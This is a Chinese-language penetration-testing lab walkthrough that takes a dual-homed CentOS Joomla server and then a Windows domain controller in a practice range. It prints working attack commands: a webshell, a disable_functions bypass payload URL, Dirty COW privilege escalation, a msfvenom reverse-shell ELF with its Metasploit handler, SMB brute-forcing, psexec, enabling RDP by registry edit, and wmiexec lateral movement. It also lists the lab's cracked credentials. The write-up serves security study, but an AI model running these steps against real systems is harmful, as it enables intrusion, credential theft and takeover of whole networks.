一、所需环境配置
web-centos(双网卡)其余全是单网卡
双网卡配置
centos切换网络时需要重启网卡
命令:/etc/init.d/network restart
其余全是仅主机模式
网络拓扑
二、信息收集
1、主机存活探测
arp-scan -l
发现目标主机
2、端口扫描
nmap -sS -sV -A -p- ip
发现开启了80、22、3306端口
3、使用fscan做简单的漏洞扫描
发现爆出一个数据库的账户密码 root 123
4、站点的目录扫描
python3 dirsearch.py -u http://192.168.2.131/
发现扫出了许多目录,然后就是逐个点击,然后发现administrator目录
发现是一个管理员后台登陆页面,而且还是joomla框架的,尝试弱口令发现行不通,那就先放一边。
然后再看了一下其它的目录,其中/configuration.php~ 有一些敏感信息
发现此处泄露了数据库的一个账户密码以及数据库名,接着就是尝试连接数据库获取数据库里面的用户账号
使用远程连接数据库工具(NAVICAT)
连接成功,然后查找am2zu_user表
然后发现密码是通过哈希加密的,然后解密不了,然后就是通过sql语句对其账户密码进行更改
update am2zu_users set password=md5(123456) where id=891;
然后尝试登陆
登陆成功,然后就是通过写文件getshell
三、渗透
1、写马
该模块内随便一个文件里面写一个一句话木马
然后尝试访问目录判断一下是否写马成功
发现写马成功,然后就是通过蚁剑直接连接就行
连接成功
然后发现在终端上输入命令都无法执行,说明一点就是系统命令被禁用了,然后通过phpinfo显示信息可以看出
是disable_functions限制的,然后就是尝试绕过
2、绕过disable_functions
使用蚁剑里面的插件进行绕过
成功绕过,命令也可以执行了
3、bypass_disablefunc_via_LD_PRELOAD绕过
文件下载:git clone https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD.git
将文件中的bypass_disablefunc.php上传到网站根路径/var/www/html/ ,我上传的时候将其重命名了
然后将bypass_disablefunc_x64.so放在/tmp目录下
接着就是构造payload
http://192.168.2.131/a.php?cmd=pwd&outpath=/tmp/123&sopath=/tmp/b.so
然后查看了一下IP
发现出现的IP与自己的不一样,然后尝试一下ping外网
发现目标机器不出网,然后看一下端口连接情况
发现93.120的80端口与93.100的43670端口进行连接,说明此处存在反向代理
然后在/tmp/mysql/test.txt中发现账号密码 wwwuser/wwwuser_123Aqx
由于我的环境里面没在/tmp/找到mysql文件,但是正常情况下是存在的
然后理一下mysql账号密码
root/123 wwwuser/wwwuser_123Aqx testuser/cvcvgjASD!@
4、ssh连接
wwwuser/wwwuser_123Aqx 这个账户连接成功,其余两个不行
5、提权
使用find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' ; 2>/dev/null 命令语句查看一下存在root权限的文件发现执行之后没有反应
然后就是通过查看一下系统版本
发现版本稍微老一点,可以尝试一下脏牛提权
下载地址:https://github.com/firefart/dirtycow
然后通过在本地开启http服务,让目标靶机远程下载该文件
然后将下载的文件编译一下
gcc -pthread dirty.c -o dirty -lcrypt
接着执行编译过的文件
然后设置好密码后就进行登陆
发现提权成功8
四、msf后门上线
1、使用msfvenom生成elf木马文件
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.2.130 lport=7749 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf -o web.elf
然后继续远程下载
2、msf开启监听模块
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lport 7749
lport => 7749
msf6 exploit(multi/handler) > set lhost 192.168.2.130
lhost => 192.168.2.130
msf6 exploit(multi/handler) > run
执行目标文件
shell获得成功
五、内网爆破
1、配置路由
run autoroute -s 192.168.93.0/24
run autoroute -p --> 查看路由配置情况
2、扫描内网的主机
use auxiliary/scanner/smb/smb_version
set rhost 192.168.93.0/24
set threads 20 --> 线程数
发现内网存活的主机有三台:93.10 93.20 93.30
3、爆破主机
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.0/24
set smbuser administrator (用户名)
set pass_file /home/tools/shell.txt (字典)
set threads 20 (线程)
run
通过爆破得到内网主机的密码
192.168.93.30 administrator:123qwe!ASD
192.168.93.20 administrator:123qwe!ASD
192.168.93.10 administrator:zxcASDqw123!!
4、使用psexec模块
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set smbpass 123qwe!ASD
run
成功反弹shell
发现域名,然后尝试ping一下
发现是10,说明这个主机应该是域控DC
打开3389端口服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
六、内网穿透
1、设置隧道代理
use server/socks_proxy
set srvhost 192.168.2.130
run -j -z
成功远程登陆,进行一些信息收集
2、使用wmiexec工具
下载地址:https://github.com/XiaoliChan/wmiexec-Pro
proxychains4 python3 wmiexec-pro.py 'administrator:123qwe!ASD@192.168.93.20' exec-command -shell
直接获取控制权
查看域用户
net user /domian
查看域内所有主机
net group "domain computers" /domain
查看域管理员
net group "domain admins" /domain
查看域控
net group "domain controllers" /domain
爬取密码
接着就是横向域控
proxychains4 python3 wmiexec-pro.py 'administrator:zxcASDqw123!!@192.168.93.10' exec-command -shell
直接接管域控
查看信息再次确认一下
已经确认10是域控,成功拿下